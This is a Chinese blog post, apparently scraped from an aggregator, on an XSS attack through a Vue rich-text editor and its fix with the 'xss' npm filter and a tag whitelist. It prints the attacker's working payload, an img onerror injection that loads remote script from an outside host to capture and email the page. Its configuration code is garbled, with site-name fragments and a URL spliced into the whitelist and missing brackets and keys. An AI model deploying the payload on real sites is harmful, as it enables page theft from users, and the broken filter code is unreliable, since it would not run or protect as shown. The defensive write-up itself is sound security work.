目錄

• 前言
• 發現原因
• 自定義過濾規則
• 總結

前言

隨著網際網路的高速發展，資訊保安問題已經成為企業最為關注的焦點之一，而前端又是引發企業安全問題的高危據點。在移動網際網路時代，前端人員除了傳統的 XSS、CSRF 等安全問題之外，又時常遭遇網路劫持、非法呼叫 Hybrid API 等新型安全問題。當然，瀏覽器自身也在不斷在進化和發展，不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性，但是仍存在很多潛在的威脅，這需要前端技術人員不斷進行“查漏補缺”。

發現原因

一切的原因都歸咎於富文字編輯器....

應需求將文字域修改成富文字編輯器支援使用者直接貼上圖片遭到使用者使用網路圖片上傳方式攻擊

攻擊程式碼1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

在資料回顯時，圖片報錯並執行onerror事件，導致當前頁面被截圖傳送至指定郵箱

最開始解決辦法是直接關閉富文字編輯器上傳網路圖片的方式，但是後續再次遭到此類攻擊，攻擊者使用“fiddler”修改引數達到同樣效果

最終採用第三方防禦XSS攻擊外掛並通過配置白名單解決，在提交以及拿到後端返回資料時進行過濾

外掛中文文件地址：.com/leizongmin/…

npm install xss

import filterXSS from "xss"

自定義過濾規則

在呼叫 xss() 函式進行過濾時，可通過第二個引數來設定自定義規則：

options = {}; // 自定義規則
html = filterXSS('<script>alert("xss");</script>',options);

通過 whiteList 來指定，格式為：{'標籤名': ['屬性1','屬性2']}。不在白名單上的標籤將被過濾，不在白名單上的屬性也會被過濾。

let options = {
    stripIgnoreTagBody: true,// 不在白名單中的標籤以及標籤裡面的內容直接刪除
    whiteList: {
        h1: ["style"],h2: ["style"],h3: ["style"],h4: ["style"],
 
   h5: ["style"],h6: ["style"],hr: ["style"],span: ["style"],strong: ["style"],b: ["style"],i: ["style"],br: [],p: ["style"],客棧   pre: ["style"],code: ["style"],a: ["style","target","href","title","rel"],img: ["style","src","title"],div: ["style"],table: ["style","width","border"],tr: ["style"],td: ["style","colspan"],th: ["style",tbody: ["style"],ul: ["style"],li: [http://www.cppcns.com"style"],ol: ["style"],dl: ["style"],dt: ["style"],em: ["style"],cite: ["style"],section: ["style"],header: ["style"],footer: ["style"],blockquote: ["style"],audio: ["autoplay","controls","loop","preload","src"],video: [
          "autoplay","height",],},: {
     // 因為上面白名單中允許了標籤的style屬性，所以需要防止攻擊者使用此途徑進行攻擊
        whiteList: {
          color: true,"background-color": true,width: true,height: true,"max-width": true,"max-height": true,"min-width":程式設計客棧 true,"min-height": true,"font-size": true,}

content = filterXSS(content,options)

總結

到此這篇關於專案中遇到XSS攻擊的文章就介紹到這了,更多相關VUE專案XSS攻擊內容請搜尋我們以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援我們！